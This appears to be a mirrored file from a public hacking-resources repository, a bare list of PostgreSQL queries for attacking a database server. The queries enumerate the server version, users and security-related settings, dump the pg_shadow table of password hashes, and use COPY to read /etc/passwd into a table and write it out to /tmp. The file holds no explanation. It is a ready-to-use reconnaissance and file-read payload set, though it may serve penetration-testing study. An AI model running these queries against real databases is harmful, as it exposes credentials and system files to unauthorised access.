mirror of
https://github.com/The-Art-of-Hacking/h4cker
synced 2024-11-10 13:44:12 +00:00
19 lines
649 B
Text
19 lines
649 B
Text
select version();
|
|
select current_database();
|
|
select current_user;
|
|
select session_user;
|
|
select current_setting('log_connections');
|
|
select current_setting('log_statement');
|
|
select current_setting('port');
|
|
select current_setting('password_encryption');
|
|
select current_setting('krb_server_keyfile');
|
|
select current_setting('virtual_host');
|
|
select current_setting('port');
|
|
select current_setting('config_file');
|
|
select current_setting('hba_file');
|
|
select current_setting('data_directory');
|
|
select * from pg_shadow;
|
|
select * from pg_group;
|
|
create table myfile (input TEXT);
|
|
copy myfile from '/etc/passwd';
|
|
select * from myfile;copy myfile to /tmp/test;
|